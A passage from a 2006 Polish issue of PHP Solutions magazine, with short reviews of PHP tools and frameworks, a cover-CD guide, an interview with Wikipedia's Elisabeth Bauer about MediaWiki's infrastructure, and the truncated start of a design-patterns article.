PHP For Applications (P4A)PHP For Applications to zorientowany obiekto-wo, napisany w PHP framework do szybkiego budowania aplikacji internetowych w oparciu o zdarzenia. Korzysta z systemu szablonów Fle-xy, co ułatwia separację logiki aplikacji od pre-zentacji danych. Umożliwia tworzenie interfejsu użytkownika w oparciu o widgety, które można pozycjonować m.in. w ramach siatki (gridu). P4A ułatwia również operacje bazodanowe i ma-nipulację danymi pobranymi z bazy. Korzysta z interfejsu bazodanowego PEAR::DB.Ułatwia internacjonalizację i lokalizację aplikacji m.in. dzięki obsłudze Unicode (UTF-8). P4A wymaga PHP4 lub PHP5, serwera Apache 1.3.x lub 2.0.x oraz systemu Linux lub Windows.Licencja: GPLhttp://p4a.sourceforge.net
MVC Management SystemMVC MS to przyblizona (niedosłowna) imple-mentacja wzorca projektowego MVC, czyli Model-Widok-Kontroler (ang. Model-View-Con-troller). Projekt zawiera m.in. klasy do obsługi baz danych i systemu logowania. MVC MS wymaga systemu szablonów Smarty w wersji 2.6.0 oraz warstwy abstrakcji bazodanowej AdoDB 4.05.Licencja: CPLhttp://narkozateam.com/mvcms/mvcms.html
SWIGSWIG (Simplifi ed Wrapper and Interface Gene-rator) to narzędzie programistyczne zaliczane do wrapperów. Pozwala wykorzystywać kod napisany w C i C++ w aplikacjach tworzonych w innych językach, takich jak PHP, Python, Perl, Java, Ruby, C# czy Common Lisp. Głów-nym zastosowaniem SWIG-a jest tworzenie środowisk programistycznych wysokiego pozio-mu oraz grafi cznych interfejsów użytkownika, a także testowanie, debugowanie i prototypo-wanie oprogramowania w C i C++. Narzędzie może również posłużyć np. do refaktoringu i reengineeringu starego oprogramowania.Licencja: BSDhttp://www.swig.org
WebCollabWebCollab to rozbudowana, ale jednocześnie prosta w obsłudze oraz intuicyjna aplikacja do zarządzania projektami (ang. project manage-ment). Jest przeznaczona do śledzenia wielu projektów oraz tworzonych w ich ramach zadań jednocześnie. Aplikacja jest wielojęzyczna. Nadaje się dla organizacji o dowolnym rozmia-rze, a także jako organizer osobisty. WebCol-lab umożliwia zaawansowane zarządzanie uprawnieniami użytkowników (grupy), grafi czną prezentację postępów w realizacji określonych projektów oraz ich porównywanie czy informo-wanie emailem o zmianach. Z innych narzędzi warto wymienić kalendarz czy listę zadań do wykonania (TODO). Wymaga dostępu do bazy MySQL lub PostgreSQL.Licencja: GPLhttp://webcollab.sourceforge.net
CNSearchCNSearch to wyszukiwarka do zainstalowania na witrynie internetowej. Działa na serwerach z systemem operacyjnym Windows, Linux, FreeBSD i Solaris. Wyszukiwarka znajdzie zastosowanie głównie na niedużych witrynach, które potrzebują skutecznego narzędzia do przeszukiwania zawartości podstron. System składa się z dwóch częsci: aplikacji odpowie-dzialnej za indeksowanie oraz interfejsu wyszu-kiwawczego, który po wprowadzeniu zapytania zwraca wyniki. CNSearch poszukuje plików typu HTML, PDF, DOC, MP3, XLS, RTF oraz TXT. Program nie wymaga dostępu do bazy danych.Licencja: demo/komercyjna ($40)http://www.cn-software.com/cnsearch
phpSHIELD
phpSHIELD to obfuskator – program,
który koduje kod źródłowy skryptów
PHP, blokując w ten sposób dostęp do
niego. Użycie narzędzi tego typu jest
obecnie najlepszym sposobem ochrony
praw autorskich do aplikacji interneto-
wych o zamkniętym kodzie i rozwijania
własnych systemów licencjonowania.
Po instalacji programu phpSHIELD uzy-
skujemy gwarancję, że żaden fragment
naszego kodu PHP nie zostanie przeko-
piowany i nielegalnie wykorzystany.
phpSHIELD ofertuje typowy interfejs
okienkowy, dzięki czemu pozwala zabez-
pieczyć skrypty w mgnieniu oka każdemu.
Jest prosty i przyjazny w obsłudze. Do-
stępne są trzy wersje programu, działają-
ce pod systemami Windows, Linux i Mac
OS X. Po stronie serwera wymagane
jest jedynie PHP w standardowej konfi -
guracji oraz specjalne narzędzia służące
do ładowania zakodowanych skryptów,
udosŧępniane bezpłatnie przez produ-
centa programu phpSHIELD na głównej
witrynie projektu. Twórcy phpSHIELDa
przygotowali je dla trzech systemów ope-
racyjnych.
phpSHIELD zamienia kod skryptu
PHP na natywny kod binarny, co całko-
wicie uniemożliwia odwrócenie procesu,
a także w pewnym stopniu zwiększa
wydajność skryptu. Oprogramowanie
obsługuje zarówno czwartą, jak i piątą
odsłonę PHP.
Podsumowując: phpSHIELD to na-
rzędzie, które przyda się każdemu pro-
gramiście PHP, który chce tworzyć opro-
gramowanie o zamkniętym kodzie.
Licencja: Komercyjna ($99)
http://phpshield.com
CivicSpace
CivicSpace to CMS będący udosko-
naloną i rozszerzoną dystrybucją
systemu Drupal (opis Drupala znajdzie-
cie w poprzednim numerze magazynu
PHP Solutions, nr 1/2006). Do najważ-
niejszych ulepszeń, jakie znajdziemy
w CivicSpace, można zaliczyć automa-
tyczny instalator oraz łatwy w użyciu sys-
tem konfi guracji. Poza tym CivicSpace
zapewnia większe repozytorium dostęp-
nych modułów. Domyślnie dostępnymi
modułami są: blog, forum dyskusyjne,
repozytorium plików, galeria fotografi i,
sondy i głosowania. Istnieje możliwość
zarządzania kontaktami z klientami
(współpraca z CivicCRM). Aplikację
wzbogacono ponadto w system rozsyła-
nia mailingu. CivicSpace oferuje ciekawe
narzędzie do organizowania wydarzeń.
Pozwala użytkownikom zapisywać się
i tworzyć nowe wydarzenia bezpośred-
nio na stronie. Tego programu używała
niegdyś grupa muzyków (Music for
America), do organizacji wielu występów
w różnych lokalizacjach. Co ciekawe sys-
tem wzbogacono także w oprogramowa-
nie do otrzymywania dotacji. CivicSpace
posiada własny agregator dokumentów
RSS i wykorzystuje edytor WYSIWYG Ti-
nyMCE. Istnieje wewnętrzny system wy-
miany wiadomości pomiędzy wszystkimi
zarejestrowanymi na stronie (system po-
wiadomi nas, kiedy nasi znajomi znajdują
się na stronie). Nie zabrakło przyjaznych
odnośników, możliwości zmiany skórek,
czy obsługi wielu języków. Są statystyki
i wyszukiwarka zasobów. System ob-
sługuje keszowanie treści, potrafi też
wykorzystywać crona. Do generowania
grafi k wykorzystuje bibliotekę GD lub
ImageMagick.
Licencja: GPL
http://civicspacelabs.org
06_07_08_09_10_aktualnosci_PL.indd 9 2006-01-12, 17:33:02
Aktualności
PHP Solutions Nr 2/2006www.phpsolmag.org10
clsJSPHPclsJSPHP to pomost pomiędzy PHP a Java-Scriptem, pozwalający na wywoływanie funkcji stworzonych w PHP z poziomu JavaScriptu. Umożliwia zarówno asynchroniczne, jak i syn-chroniczne przesyłanie danych z przeglądarki do serwera, bez konieczności przeładowy-wania strony. Korzystanie z clsJSPHP jest bardzo proste: wystarczy załadować główny skrypt korzystając ze znacznika <script src>. Od tej chwili w JS możemy korzystać z takich funkcji, jak jsphp_exec(), która pozwala łado-wać skrypty PHP (z parametrami) i ustalać sposób przesyłania danych. Po stronie ser-wera korzystamy z obiektu $jsphp i możemy manipulować znajdującym się po stronie klienta dokumentem HTML, m.in. ustawiając style, atrybuty, wpisując własny kod HTML oraz wyświetlając okienka typu Alert.Licencja: LGPLhttp://d-xp.com/clsjsphp
phcphc to opensourcowy kompilator kodu PHP. W założeniu ma przekształcać skrypty PHP bezpośrednio do asemblera, generując pro-gramy wykonywalne pod Linuksem. Obecna wersja nie dokonuje jeszcze samej kompilacji, ale ma wiele innych, również użytecznych zastosowań. Przykładowo, na bazie phc można stworzyć obfuskator kodu PHP czy narzędzia do refaktoryzacji, gdyż program szczegółowo analizuje kod skryptu i tworzy je-go drzewo, przypominające DOM (Document Object Model), które można przekształcić z powrotem do natywnego kodu PHP. Inne proponowane przez twórców phc rozwiązania, które możemy na nim oprzeć to narzędzia do sprawdzania składni, optymalizacji skryptów czy tłumaczenia jednego języka programowa-nia na drugi.Licencja: GPLhttp://www.phpcompiler.org
XOADXOAD, znany również jako NAJAX, to zo-rientowany obiektowo framework pozwala-jący tworzyć dynamiczne aplikacje webowe oparte na technologiach AJAX oraz XAP. Do komunikacji wykorzystuje format JSON (JavaScript Object Notation) i serializację natywnych obiektów PHP. XOAD obsługuje zdarzenia po stronie serwera, stosując ich obserwację (wzorzec projektowy Observer) oraz po stronie klienta (zdarzenia XOAD). Dla projektu istnieje szereg rozszerzeń, działających zarówno po stronie serwera, jak i klienta. Umożliwiają one m.in. keszowanie i manipulację dokumentami HTML. XOAD ma dobrą, szczegółową dokumentację (w tym tutoriale) zilustrowaną przykładami. Autorzy projektu zapewniają, iż położyli szczególny nacisk na bezpieczeństwo.Licencja: PHP License 3.0http://www.xoad.org
PhramePhrame to framework do tworzenia aplikacji webowych bazujących na modelu Jakarta Struts. Zapewnia implementację wzorca MVC (Model – Widok – Kontroler) i dodaje do niego takie komponenty, jak: HashMap, ArrayList, ListIterator, Stack (stos), Object i wiele innych. Twórcy Phrame zalecają tworzenie aplikacji zgodnie z architekturą Model2, która stanowi odmianę MVC. W ramach Modelu, Phrame współpracuje ze standardowymi technolo-giami dostępu do baz danych, takimi jak jak PEAR::DB czy ADODB. Widok może korzy-stać ze Smarty'ego, XSLT, Flasha MX i innych rozwiązań. Phrame wymaga PHP 4.2.x lub 4.3.x. Działa również pod PHP5.Licencja: LGPLhttp://www.phrame.org
PHP Advanced Graph & Chart Collection
PHP Advanced Graph&Chart Collection
to oprogramowanie przeznaczone do
generowania wykresów dwuwymiarowych
(2D) i trójwymiarowych (3D) przeznaczo-
nych do umieszczania na stronach WWW.
Program wyróżnia się zaawfunkcjonalno-
ścią. Zakres możliwych do wygenerowania
wykresów jest wręcz ogromny, bo obejmu-
je właściwie wszystkie rodzaje, począwszy
od kołowych, słupkowych i liniowych,
a kończąc na horyzontalnych i umiesz-
czonych w płaszczyźnie pionowej. Do tego
należy dodać wszystkie możliwe odmiany
i połączenia wykresów standardowych.
Oprogramowanie pobiera dane wej-
ściowe z wielu źródeł, takich jak pliki, bazy
danych, skrypty, czy parametry przekaza-
ne za pośrednictwem tagów HTML. Na
stronie internetowej projektu znajdziemy
rozbudowaną dokumentację oraz serię tu-
toriali wprowadzających. Pokazują one, jak
w prosty sposób wygenerować pożądany
wykres, wpisując dosłownie jedną linię ko-
du: tworzymy znacznik <img>, do którego
jako źródło ustalamy dołączony do pakietu
skrypt PHP. Aby otrzymać gotowy wykres,
musimy jedynie podać jego parametry, ta-
kie jak typ, rozmiar i źródło danych.
Podsumowując: biblioteka jest wystar-
czająco prosta w obsłudze, aby nadawać
się dla początkujących programistów, pod-
czas gdy jej funkcjonalność zadowoli wie-
lu profesjonalistów. Szczególnie warto po-
lecić przewodniki, prezentujące metody
wdrożenia 17 typów wykresów. Pozwalają
one błyskawicznie zorientować się w zasa-
dach pracy z biblioteką, szczególnie, gdy
źródłem danych mają być bazy danych
czy skrypty.
Licencja: trial/komercyjna ($195)
http://www.jpowered.com/php-scripts/adv-
graph-chart
Google przyspiesza ładowanie stron WWW
Web Accelerator to ciekawa propo-
zycja ze stajni Google Labs (http://
labs.google.com/), która sprawi, że stro-
ny WWW będą ładowały się szybciej.
Program działa w tle, a od użytkownika
niewymagane jest podejmowanie żadnych
operacji. Instalacja przebiega szybko i bez-
boleśnie. Po zainstalowaniu aplikacji nasza
przeglądarka okupiona zostaje kolejnym
gadżetem – małym zegarkiem z czasem,
który zaoszczędziliśmy dzięki zastosowa-
niu akceleratora. Oprogramowanie pracuje
zarówno na przeglądarkach Internet Explo-
rer 5.5+, jak i Firefox 1.0+, choć można
z niego korzystać także w innych, poprzez
ustawienie specjalnego, lokalnego adresu
proxy (127.0.0.1:9100). Program stworzo-
no z myślą o łączach szerokopasmowych
– w przypadku połączeń modemowych
(dial-up) nie zauważymy żadnych rewe-
lacji. Web Accelerator wykorzystuje kilka
rozwiązań, które pozwalają przyspieszyć
ładowanie witryn. Przepuszcza zapytania
poprzez serwery Google i tworzy lokalne
kopie często przeglądanych stron. Jeżeli
aktualna wersja strony różni się od kopii,
akcelerator ściąga tylko różnice między
plikami, oszczędzając na transferze da-
nych. Akcelerator przewiduje również, jakie
witryny będziemy mieli zamiar oglądać
i pobiera je z wyprzedzeniem. Zajmuje się
także optymalizacją pasma, zapewniając
jak najmniejsze opóźnienia, gdy łącze
jest silnie wykorzystywane. Zanim dane
zostaną wysłane do naszego komputera,
akcelerator dba o ich kompresję, co zwięk-
sza prędkość transferu. Web Accelerator
nie pomaga w przyspieszaniu ładowania
wszystkich stron. Pomija witryny HTTPS
(np. strony banków internetowych) czy
strony z plikami mp3 i video (video stre-
aming).
Licencja: Google
http://webaccelerator.google.com/
terms.html
06_07_08_09_10_aktualnosci_PL.indd 10 2006-01-12, 17:34:01
11_progreso_R_PL.indd 1 2006-01-12, 17:34:50
www.phpsolmag.org12
Opis CD
PHP Solutions Nr 2/2006
Lekcje video Keystonelearning
Na płycie zamieściliśmy przykładowe
lekcje programowania w PHP5,
prowadzone przez Davida Smitha. Ma on
bardzo duże doświadczenie w nauczaniu
programowania. Szkolił między innymi pra-
cowników Digital Equipment Corporation,
czy Compaq Computers, a obecnie jest
trenerem w fi rmie Microsoft. Lekcje video,
które udostępniamy, uzupełnione są mate-
riałami w PDF i przykładowymi skryptami
w PHP także obecnymi na płycie. Jest to
część większego kursu, którego celem jest
nauczenie posługiwania się językiem PHP
w stopniu umożliwiającym pisanie dojrza-
łych i interaktywnych aplikacji.
Kurs prowadzi od podstaw do bar-
dzo zaawansowanych technik. Stara się
nauczyć wszystkiego co dla programisty
PHP jest ważne. Jego duża część poświę-
cona jest obiektowości. Wszystkie dostęp-
ne na płycie lekcje można obejrzeć bezpo-
średnio z PHP Solutions Live CD, ale ist-
nieje także możliwość skorzystania z nich
w systemach zainstalowanych na stałe. Dla
Windows stworzono specjalny instalator
dostępny na płycie w katalogu PHP 5 Pro-
gramming Essentials. W każdym z syste-
mów można także po prostu odtwarzać
PHP Solutions Live – opis płyty CD
Na płycie CD zamieściliśmy PHP
Solutions Live – bootowalną dystry-
bucję Linuksa opartą na Aurox Live 11.
Stanowi ona kompletną platformę testową,
zawierającą PHP5, bazę danych MySQL,
serwer WWW Apache oraz przeglądarkę
Firefox. Pozwala na testowanie i modyfi -
kowanie opisanych w artykułach aplikacji,
a także tworzenie i korzystanie z własnych
skryptów (należy je umieszczać w katalogu
/var/www/html).
Aby ją uruchomić, należy wystarto-
wać komputer z płyty CD (może oka-
zać się konieczne ustawienie w BIOS-ie
komputera odpowiedniej opcji). Po uru-
chomieniu systemu, ukaże się okno prze-
glądarki internetowej, zawierające me-
nu płyty podzielone na kategorie. Pierw-
szą z nich jest Keystonelearning videos.
Znajdują się w niej opisane wyżej lek-
cje video dotyczące PHP. Są one goto-
we do odtwarzania i możecie je urucho-
mić jednym kliknięciem. Zachęcamy do
oglądania!
W następnych kategoriach znajdziecie
aplikacje, które zmieściły się na płycie,
pliki .wmv znajdujące się w podkatalogach,
o ile posiadamy odtwarzacz czytający te-
go typu pliki.
Pełny kurs dostępny jest na stronie
producenta: http://store.keystonelearning.
com/php5.aspx
książki w formacie PDF oraz rozwiązania
z artykułów Serwer Monitor oraz Data
Grid.
PHP Solutions Live pozwala na ko-
rzystanie z dysków twardych (wszystkie
partycje są automatycznie montowane
podczas startu systemu) oraz sieci lo-
kalnej i Internetu. Sieć trzeba najpierw
skonfi gurować. Możecie to zrobić na
kilka sposobów. Pierwszym z nich jest
użycie działającego w trybie grafi cz-
nym narzędzia (system-network-confi g).
Drugą metodą jest wywołanie polecenia
netconfi g z terminala. Po jego użyciu trze-
ba zrestartować sieć poleceniem service
network restart. Kolejnym sposobem jest
użycie trzech komend linuksowych:
ifconfi g urządzenie adres_IP,route
add default gw adres_bramki_internetowej
oraz
echo "nameserver adres_IP" > /etc/
resolv.conf.
Życzymy miłej pracy z Livem i czekamy na
Wasz odzew.
Redakcja PHP Solutions
12_opisCD_live_PL.indd 12 2006-01-12, 17:36:36
Na CDNa CD
Video i PDF
lekcje PHP z KeyStone Learning
obejrzyj w Live lub zainstaluj!
Rozwiązania z artykułów w PHP Solutions LiveCD
Serwer Monitor
DataGrid
Programy
Macromedia Dreamwaver 8
MX Kollection 3 – trial version
PHP Advanced Graph & Chart Collection – niekończący się trial
PHPShield – komercyjny encoder PHP – 30-day trial
CN-STATS i CN-SEARCH – special try-before-buy – wypróbuj w Live
SVN and CSV for Dreamweaver – evaluation version – wypróbuj w Live
Wszystk
ie li
stin
gi z
art
ykułó
w z
osta
ły z
am
ieszczone
na n
aszej s
tronie
inte
rneto
wej p
od a
dre
sem
www.phpsolmag.org/pl
3 nowe książki elektronicznePerl and XML
PHP5 Power Programming
OASIS OpenDocument essentials – using OASIS OpenDocument XML
Wszystk
ie li
stin
gi z
art
ykułó
w z
osta
ły z
am
ieszczone
na n
aszej s
tronie
inte
rneto
wej p
od a
dre
sem
www.phpsolmag.org/pl
Przetestuj aplikacje
bez instalacji!
13_pod_CD.indd 13 2006-01-12, 17:37:01
www.phpsolmag.org14
Wywiad
PHP Solutions Nr 2/2006
Sukces PHP i Wikipedii: wywiad z Elisabeth BauerKrzysztof Sobolewski
Zastosowanie MediaWiki nie jest
ograniczone do samej Wikipedii.
Silnik ten obsługuje również po-
krewne projekty Wiktionary (http://wiktio-
nary.org) i Wikibooks (http://wikibooks.org),
znane pod łączną nazwą Wikimedia, oraz
wiele innych serwisów. Rozmawiamy z Eli-
sabeth Bauer, redaktorem i administrato-
rem niemieckiej wersji Wikipedii. Elisabeth
jest również rzecznikiem prasowym Wiki-
media Foundation – odpowiedzialnej za
fi nansowanie rozwoju i utrzymania Media-
Wiki oraz projektów pokrewnych.
Krzysztof Sobolewski: Jakie były po-
czątki projektu MediaWiki? Co było wtedy
najważniejsze? Jakie technologie zostały
wykorzystane – czy od początku były to
PHP i MySQL?
Elisabeth Bauer: Tak, PHP i MySQL
były używane od samego początku. Pier-
wotna wersja Wikipedii korzystała z wiki
Usemod, ale szybko stało się jasne, że
ten silnik nie nadaje się dla encyklopedii,
gdyż nie skaluje się dostatecznie dobrze.
Niemiecki student biologii Magnus Manske
stworzył zatem własny CMS, wykorzystując
w tym celu PHP i MySQL. Jego system był
kilkakrotnie modyfi kowany i rozszerzany
Wikipedia to ponad milion artykułów w kilkunastu
językach i lider wśród encyklopedii internetowych.
Sukces zawdzięcza silnikowi MediaWiki:
wielojęzycznemu, wielowersyjnemu systemowi
zarządzania artykułami, pozwalającemu na
współpracę wielu redaktorów i oferującemu
kontrolę wersji. MediaWiki wykorzystuje język
znaczników Wikitext, dzięki któremu dodawanie
i edycja artykułów są szybkie i łatwe. Silnik
MediaWiki pokazuje potęgę technologii *AMP.
pod różnymi nazwami, aż przybrał postać
znanego nam obecnie silnika MediaWiki.
KS: Dlaczego wybraliście właśnie
PHP i MySQL?
EB: Z dwóch prostych powodów: PHP
i MySQL są darmowe i dostępne na zasa-
dach open source, a poza tym korzystała
z nich pierwsza osoba, która na ochotnika
stworzyła oprogramowanie specjalnie dla
potrzeb Wikipedii.
KS: Wikipedię można uznać za wielki
sukces technologii Apache+PHP+MySQL
(*AMP). Obecnie encyklopedia zawiera po-
nad milion artykułów, a ruch na serwerach
jest bardzo duży. Jakie wady technologii
AMP możesz wskazać z punktu widzenia
administratora? Czy aplikacje bazujące
na AMP mogą spro stać tak dużemu
zapotrzebowaniu i nadal pracować wydaj-
nie? Czy mieliście dotąd jakieś problemy
z utrzymaniem Wikipedii? Czy istnieje
granica, poza którą silnik MediaWiki nie
będzie w stanie podołać wymaganiom?
EB: W ciągu ostatnich czterech lat
mieliśmy sporo problemów i próbowaliśmy
różnych rozwiązań w celu utrzymania stałej
dostępności witryny w obliczu wciąż rosną-
cego ruchu (według Alexa.com, Wikipedia
należy obecnie do 40 najpopularniejszych
witryn w Sieci). Stworzyliśmy na przykład
cały zestaw serwerów buforujących Squid,
serwujących czytelnikom gotowe strony.
Obsługa zapytań do bazy danych MySQL
jest rozkładana na kilka replikowanych
serwerów, co niekiedy wiąże się z proble-
mami wynikającymi z opóźnień replikacji
– w skrajnych sytuacjach musimy przełą-
czać centralną bazę danych w tryb tylko do
odczytu, wstrzymując tym samym wszelkie
prace redakcyjne do czasu zaktualizowania
bazy przez wszystkie serwery replikujące.
W niektórych przypadkach musieliśmy się
rozejrzeć na innymi rozwiązaniami pro-
gramowymi – na przykład uruchomiony
w listopadzie 2005 serwer grafi ki wyko-
rzystuje teraz zamiast Apache’a szybszy
serwer lighthttpd. Wyszukiwarka była cią-
głym źródłem problemów, do tego stopnia,
że przy dużym obciążeniu musieliśmy ją
rutynowo wyłączać, co oczywiście było
sporą niewygodą dla czytelników Wikipedii.
Z tego względu projekty Wikimedia wyko-
rzystują obecnie wyszukiwarkę opartą na
silniku Lucene.
KS: Ile macie serwerów i jak wygląda
zarządzanie nimi? Jakiego oprogramo-
14_15_Wywiad_PL.indd 14 2006-01-12, 17:38:48
Wikipedia
www.phpsolmag.org 15
Wywiad
PHP Solutions Nr 2/2006
wania używacie, poza Apachem, MySQL
and PHP?
EB: W listopadzie 2005 korzystaliśmy
ze 124 serwerów w czterech miejscach:
na Florydzie, w Amsterdamie, w Paryżu
i w Korei Południowej. Zespołem serwerów
zarządza dwóch ofi cjalnie zatrudnionych
pracowników i grupa administratorów-
ochotników. Serwery są podzielone na
serwery bazy danych, serwery Apa-
che i serwery buforujące Squid. Dla
zwiększenia wydajności używany jest
Memcached, a za balansowanie obcią-
żenia odpowiada mechanizm LVS (http:
//wikitech.leuksman.com/view/LVS). Do
śledzenia błędów używana jest Bugzilla.
Poza tym korzystamy z narzędzi Mailman,
OTRS i kilku innych.
KS: Które z możliwości silnika Media-
Wiki lubisz najbardziej? Które funkcje uwa-
żasz za kluczowe dla sukcesu Wikipedii?
EB: Trudne pytanie... Osobiście naj-
bardziej lubię możliwość defi niowania
własnych arkuszy stylów CSS i łączenia
ich z funkcjami Javascriptu, co pozwala
dowolnie dostosować styl interfejsu do kon-
kretnych potrzeb. Jednak dla sukcesu Wi-
kipedii najważniejsze były (i nadal są) nie
zaawansowane funkcje silnika MediaWiki,
tylko doskonałe wbudowane możliwości
śledzenia zmian. Ostatnie modyfi kacje,
nowe strony, historia stron, czytelnie for-
matowane różnice między wersjami, lista
użytkowników, możliwość łatwego śledze-
nia informacji dodawanych przez poszcze-
gólnych redaktorów – wszystkie te funkcje
są nieodzowne w procesie tworzenia wyso-
kiej jakości encyklopedii o otwartej fi lozofi i
redagowania.
KS: Poza Wikipedią i projektami
pokrewnymi (na przykład Wiktionary.org
czy Wikibooks.org), ile serwisów korzysta
obecnie z silnika MediaWiki? Czy ich ad-
ministratorzy kontaktują się z wami?
EB: Silnik MediaWiki stał się ostatnio
jedną z popularniejszych platform dla ser-
wisów wiki. Używa go większość znanych
mi nowych wiki, między innymi dlatego,
że wiele osób już zna składnię artykułów
MediaWiki z prac nad Wikipedią. Dużą
zaletą jest potężna baza użytkowników,
co znacznie zwiększa bezpieczeństwo
– jeśli pojawia się problem, to na ogół jest
on szybko wykrywany w obsługującej mi-
liony użytkowników Wikipedii i błyskawicz-
nie naprawiany. Silnik MediaWiki stał się
szczególnie popularny w wewnętrznych
fi rmowych wiki – wiadomo nam o kilku
dużych fi rmach korzystających z baz wie-
dzy opartych na MediaWiki. Przykładem
może być fi rma Opensuse, używająca
MediaWiki dla swojego serwisu http://
www.opensuse.org, ale są też instytucje
rządowe, organizacje pozarządowe, fi rmy
consultingowe i wiele innych (patrz http://
meta.wikimedia.org/wiki/Sites_using_Me-
diaWiki). Kontakt z użytkownikami Media-
Wiki jest na ogół ograniczony do zgłoszeń
problemów technicznych na liście dys-
kusyjnej. Pewnym problemem jest fakt,
że MediaWiki nie ma dokumentacji jako
takiej, więc użytkownicy muszą tworzyć
własną dokumentację lub kopiować ist-
niejące informacje z Wikipedii na licencji
GFD.
KS: MediaWiki jest wielojęzycznym
CMS-em, w którym lokalizacja treści jest
jednym z kluczowych elementów. Czy
wielojęzyczność jest wykorzystywana
w serwisach wiki innych niż Wikipedia
i projekty pokrewne? Czy silnik MediaWiki
był wielojęzyczny od samego początku?
EB: Tak, wielojęzyczność była pod-
stawowym wymaganiem dla międzyna-
rodowej encyklopedii. Jakiś czas temu
w MediaWiki pojawiła się rewelacyjna
funkcja, która niepomiernie skróciła czas
lokalizacji: możliwość edycji zlokalizo-
wanych komunikatów przez zaufanych
użytkowników wiki. Pozwala nam to stwo-
rzyć Wikipedię w mało znanym języku,
na przykład w oksytańskim, nadać kilku
zaufanym użytkownikom uprawnienia ad-
ministratora i po paru tygodniach mamy
zlokalizowaną wersję MediaWiki dla oksy-
tańskiego.
KS: Ilu programistów pracuje nad pro-
jektem MediaWiki? Czy wszyscy stosują
się do ogólnej polityki rozwoju projektu?
EB: Przy MediaWiki pracuje obecnie
około tuzina programistów, a kilku innych
od czasu do czasu zgłasza poprawki.
(patrz http://meta.wikimedia.org/wiki/De-
velopers). Większość programistów po-
chodzi ze społeczności Wikimedia, ale
niektórzy prowadzą też własne wiki (na
przykład Evan Prodromou, założyciel Wi-
kiTravel). Proces deweloperski opiera się
na typowym dla projektów open source
modelu życzliwej dyktatury – ostateczna
decyzja odnośnie zmian wprowadza-
nych do kodu produkcyjnego należy do
głównego programisty, Briona Vibbera.
Jak dotąd model ten sprawdza się dość
dobrze, zwłaszcza że wszyscy rozumieją
konieczność dbania o bezpieczeństwo
– wiele zmian jest wprowadzanych do
działającego kodu Wikipedii tuż po ich
zatwierdzeniu w CVS-ie.
KS: Czy fi rmy są skłonne wspierać
Fundację fi nansowo?
EB: Czasami tak – niektórzy są gotowi
zapłacić za dodanie określonych funkcji,
choć tego typu potrzeby częściej są zgła-
szane przez instytucje akademickie, na
przykład holenderską fundację Kennisnet.
Inne organizacje wspierają naszą pracę
zezwalając swoim programistom na pomoc
w projekcie Wikimedia w czasie wolnym
lub udzielając darmowego wsparcia tech-
nicznego.
KS: Jakie macie plany na przyszłość?
Jak widzicie kierunki dalszego rozwoju Wi-
kipedii zarówno od strony użytkowej, jak
i technicznej? W kwestii technicznej, czy
planujecie przejść na PHP5?
EB: Dalszy rozwój MediaWiki będzie
nadal zależał w dużej mierze od potrzeb
Wikipedii – obecnie oznacza to przede
wszystkim rozbudowę mechanizmów
kontroli dostępu i walidacji. Opraco-
wywane są również lepsze metody
zwalczania spamu i ataków botów, jak
również mechanizm oceniania treści. Od
strony technicznej, trwają prace nad We-
bAPI pozwalającym aplikacjom bezpo-
średnio korzystać z artykułów Wikipedii.
Przejście na PHP5 jest planowane w tym
tygodniu, więc w chwili publikacji tego
wywiadu Wikipedia będzie już prawdo-
podobnie korzystać z PHP5.
KS: Dziękuję za rozmowę. �
Elisabeth Bauer jest redaktorem i admi-
nistratorem niemieckiej wersji Wikipedii,
a dodatkowo pełni funkcję rzecznika
prasowego Wikimedia Foundation. Jej
rola w rozwoju silnika MediaWiki polega
na przekazywaniu informacji między
użytkownikami a programistami. Do jej
obowiązków należy zarządzanie niemiec-
kojęzyczną dokumentacją MediaWiki,
przekazywanie programistom sugestii
użytkowników dotyczących nowych funk-
cji, informowanie użytkowników o proble-
mach technicznych zgłaszanych przez
administratorów i sprawowanie pieczy
nad aspektami użytkowymi tworzonego
oprogramowania.
Kontakt: [email protected]
O naszym gościu
14_15_Wywiad_PL.indd 15 2006-01-12, 17:38:58
www.phpsolmag.org16
Początki
PHP Solutions Nr 2/2006
Ideę wzorców projektowych najlepiej
oddaje zdanie: Powerful and practical
solutions to common problems, czyli
wydajne i praktyczne rozwiązania znanych
problemów programistycznych.
Najprostszym przykładem wzorca mo-
że być włączanie tych samych plików (np.
header.php i footer.php) na wielu stronach
WWW. Dzięki temu, zmiany dokonane
w tych plikach będą widoczne na wszyst-
kich stronach, które z nich korzystają.
W rzeczywistości wzorce rozwiązują dużo
poważniejsze problemy, stanowiąc często
prawdziwe remedium dla programistów,
a w konsekwencji zapewniając solidną,
elastyczną i wydajną architekturę aplikacji.
Bardzo istotne jest odróżnienie wzorców
programistycznych (np. Dekorator pozwa-
lający na udekorowanie klasy nowymi funk-
cjonalnościami) od wzorców architektonicz-
nych, zwanych też projektowymi (np. MVC
mówiący o tym, że aplikację należy dzielić
na trzy lub cztery warstwy: prezentację,
logikę/serwisy i dane). Pierwsze dają się
Znajomość wzorców przyspiesza
samodzielne rozwiązywanie wielu problemów
programistycznych i systematyzuje terminologię
używaną przez programistów. Ta wiedza
zdecydowanie oszczędza czas potrzebny na
stworzenie dobrze działającej i poprawnie
skonstruowanej aplikacji.
przełożyć bezpośrednio na kod, kiedy te
drugie wyznaczają strukturę naszego kodu
w skali warstw, a nie pojedynczych klas.
Wzorce projektowe zawsze były do-
meną obiektowych języków programowa-
nia takich jak Java. Ich implementacja dla
PHP3 była niemożliwa (brak modelu obiek-
towego), a PHP4 stawiało wiele ograni-
czeń, np. brak interfejsów i typowania. Na
szerszą skalę zaczęto je stosować dopiero
w PHP5, które zapewnia bogate i w pełni
obiektowe środowisko aplikacyjne.
Tym artykułem otwieramy serię po-
święconą wzorcom projektowym, w której
dokonamy usystematyzowania wiedzy,
Wzorce projektowe w akcji – rozwiązania znanych problemów w praktyce Paweł Kozłowski, Piotr Szarwas
W SIECI
1. http://www.zend.com/php/
design/ – projektowanie
aplikacji w PHP5
2. http://www.developer.com/
design/article.php/3345121
– implementacja wzorców
projektowych w PHP5
3. http://www.phptr.com/
content/images/
013147149X/downloads/
013147149X_book.pdf
– znakomita książka PHP5
Power Programming w wer-
sji PDF
Co należy wiedzieć...Powinieneś być zaznajomiony z progra-
mowaniem obiektowym w PHP5
Co obiecujemy...Poznasz najważniejsze wzorce projekto-
we i ich praktyczne wykorzystanie w bu-
dowie frameworka
Stopień trudności: ���
16_17_18_19_20_21_22_23_wzorce_PL.indd 16 2006-01-12, 17:40:24
Wzorce projektowe
www.phpsolmag.org 17
Początki
PHP Solutions Nr 2/2006
odróżnienia wzorców architektonicznych
od programistycznych, ich podziału na ka-
